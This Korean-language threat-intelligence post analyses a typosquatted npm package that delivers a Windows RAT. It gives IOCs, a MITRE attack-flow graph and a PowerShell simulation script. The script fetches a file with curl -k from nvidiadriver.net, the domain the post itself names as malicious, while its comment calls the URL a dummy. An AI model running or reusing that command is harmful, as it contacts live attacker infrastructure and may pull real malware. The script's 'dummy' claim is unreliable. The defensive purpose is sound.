SOC Prime Bias: 높음

25 Jun 2026 15:41 UTC

Windows RAT 전송 경로로 위장한 PostCSS

Author Photo
SOC Prime Team linkedin icon 팔로우
Windows RAT 전송 경로로 위장한 PostCSS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

공격자들이 npm 패키지 사칭을 악용하여 다중 단계의 Windows RAT를 유포하고 있습니다. 악성 패키지로는 postcss-minify-selector-parser 가 있으며, 이는 개발자 환경을 위협할 수 있는 정품 빌드 유틸리티로 위장되어 있습니다. 일단 트리거되면, 감염 체인은 PowerShell 다운로더를 실행하여 Nuitka로 컴파일된 Python RAT를 가져와 자격 증명을 탈취하고 원격 셸 액세스를 제공합니다.

조사

연구자들은 합법적인 종속성을 참조하는 악성 npm 패키지 클러스터를 발견하여 신뢰성을 나타내려 했습니다. 조사는 JavaScript 드로퍼로 시작하여 PowerShell 다운로더로 이어지고, 복잡한 Python 기반 페이로드로 끝나는 레이어드 감염 체인을 매핑했습니다. Nuitka로 컴파일된 구성 요소를 분석하여, 연구자들은 RAT의 명령 및 제어 프로토콜과 지원 명령을 재구성할 수 있었습니다.

완화

사용자들은 식별된 악성 npm 패키지를 즉시 제거하고 종속성 트리를 검토하여 잠재적인 전이적 노출이 있는지 확인해야 합니다. 조직은 또한 알려진 명령 및 제어 도메인과 IP 주소를 차단해야 합니다. 침해가 의심될 경우, 개발자들은 브라우저에 저장된 자격 증명과 모든 개발 관련 토큰을 지체 없이 교체해야 합니다.

대응

Windows 엔드포인트는 다음과 같은 아티팩트를 검사해야 합니다. %TEMP%winPatch, %TEMP%.store, 그리고 %TEMP%.host입니다. 조사자는 또한 HKCURun 레지스트리 키의 csshost 값에서의 지속성을 검토해야 합니다. 개발자 워크스테이션에 대한 철저한 감사가 수행되어야 무단 원격 셸 활동이나 자격 증명 도난의 징후를 식별할 수 있습니다.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["<b>기법</b> – <b>T1195.001 공급망 손상: 소프트웨어 종속성 및 개발 도구 손상</b><br/><b>설명</b>: postcss-minify-selector-parser와 같은 유사 패키지를 통한 npm에서의 패키지 사칭.<br/><b>대상</b>: 개발자 환경"] class attack_supply_chain technique attack_user_execution["<b>기법</b> – <b>T1204.005 사용자 실행: 악성 라이브러리</b><br/><b>설명</b>: 악성 npm 패키지가 가져올 때 트리거됩니다.<br/><b>작업</b>: 인코딩된 JavaScript 드로퍼를 실행합니다."] class attack_user_execution technique process_powershell["<b>기법</b> – <b>T1059.001 명령 및 스크립팅 인터프리터: PowerShell</b><br/><b>설명</b>: PowerShell은 악성 스크립트를 작성하고 실행하는 데 사용됩니다.<br/><b>파일</b>: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["<b>기법</b> – <b>T1070.010 지표 제거: 악성코드 위치 변경</b><br/><b>설명</b>: 페이로드를 다운로드하기 위해 속임수 도메인을 사용합니다.<br/><b>도메인</b>: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["<b>기법</b> – <b>T1059.003 명령 및 스크립팅 인터프리터: Windows 명령 셸</b><br/><b>설명</b>: 페이로드 번들을 추출하는 데 사용됩니다.<br/><b>트리거</b>: 다운로드 후 실행."] class tool_cmd_shell technique malware_vbs_bootstrapper["<b>악성코드</b> – <b>VBS 부트스트래퍼</b><br/><b>설명</b>: 주요 악성코드 페이로드를 시작합니다."] class malware_vbs_bootstrapper malware malware_rat["<b>악성코드</b> – <b>원격 액세스 도구 (RAT)</b><br/><b>설명</b>: Nuitka로 컴파일된 모듈을 사용하는 Python 기반 로더.<br/><b>기능</b>: 원격 액세스 기능을 제공."] class malware_rat malware attack_persistence["<b>기법</b> – <b>T1547.001 부팅 또는 로그온 자동 시작 실행: 레지스트리 실행 키 / 시작 폴더</b><br/><b>설명</b>: 지속성을 위해 레지스트리 값을 생성합니다.<br/><b>레지스트리 값</b>: csshost"] class attack_persistence persistence attack_evasion["<b>기법</b> – <b>T1497.001 가상화/샌드박스 회피: 시스템 검사</b><br/><b>설명</b>: 가상 환경을 감지하기 위해 WMI 쿼리를 사용합니다.<br/><b>명령</b>: wmic bios get serialnumber"] class attack_evasion technique attack_c2["<b>기법</b> – <b>T1219 원격 액세스 도구</b><br/><b>설명</b>: 암호화된 POST 패킷을 통해 C2 서버와 통신을 유지합니다.<br/><b>C2 주소</b>: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["<b>기법</b> – <b>T1555.003 비밀번호 저장소에서 자격 증명: 웹 브라우저에서 자격 증명</b><br/><b>설명</b>: Chrome에서 저장된 자격증명을 훔칩니다.<br/><b>대상 파일</b>: 로그인 데이터 및 로컬 상태"] class attack_credential_access technique %% Connections attack_supply_chain –>|leads_to| attack_user_execution attack_user_execution –>|executes| process_powershell process_powershell –>|performs| attack_indicator_removal attack_indicator_removal –>|triggers| tool_cmd_shell tool_cmd_shell –>|launches| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installs| malware_rat malware_rat –>|establishes| attack_persistence malware_rat –>|performs| attack_evasion malware_rat –>|communicates_via| attack_c2 malware_rat –>|exfiltrates| attack_credential_access

공격 흐름

## 시뮬레이션 실행

전제 조건: Telemetry & Baseline 사전 비행 검사가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 발동하기 위해 설계된 적대자의 기술(기술 및 전략, TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리가 예상하는 정확한 원격 감시 데이터를 생성하는 것을 목표로 합니다. 추상적이거나 관련이 없는 예는 오진을 초래합니다.

  • 공격 내러티브 및 명령: 적대자는 합법적인 소프트웨어 업데이트 프로세스로 가장하여 시스템에 발판을 마련하려고 합니다. 이를 위해 PowerShell을 사용하여 네이티브 curl.exe 유틸리티를 호출합니다. -k (위험) 플래그를 사용하여 SSL 인증서 유효성 검사를 우회하고, $env:TEMPwinPatch.zip과 같은 파일명을 지정하여, 시스템 업데이트의 소음에 녹아들기를 시도합니다. 목표는 악성 페이로드를 다운로드하여 실행 시 원격 액세스를 제공하는 것입니다.

  • 회귀 테스트 스크립트:

    # 특정 탐지 규칙을 발동시키기 위한 시뮬레이션 스크립트
    # 참고: 안전을 위해 더미 URL을 사용하지만, 규칙에 요구되는 정확한 구조를 모방합니다.
    
    $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win'
    
    Write-Host "추정 악성 다운로드 명령 실행 중..."
    Invoke-Expression $cmd
  • 정리 명령:

    # 다운로드된 더미 파일 정리
    if (Test-Path "$env:TEMPwinPatch.zip") {
        Remove-Item -Path "$env:TEMPwinPatch.zip" -Force
        Write-Host "정리 완료: 더미 파일 제거됨."
    } else {
        Write-Host "정리: 파일을 찾을 수 없음."
    }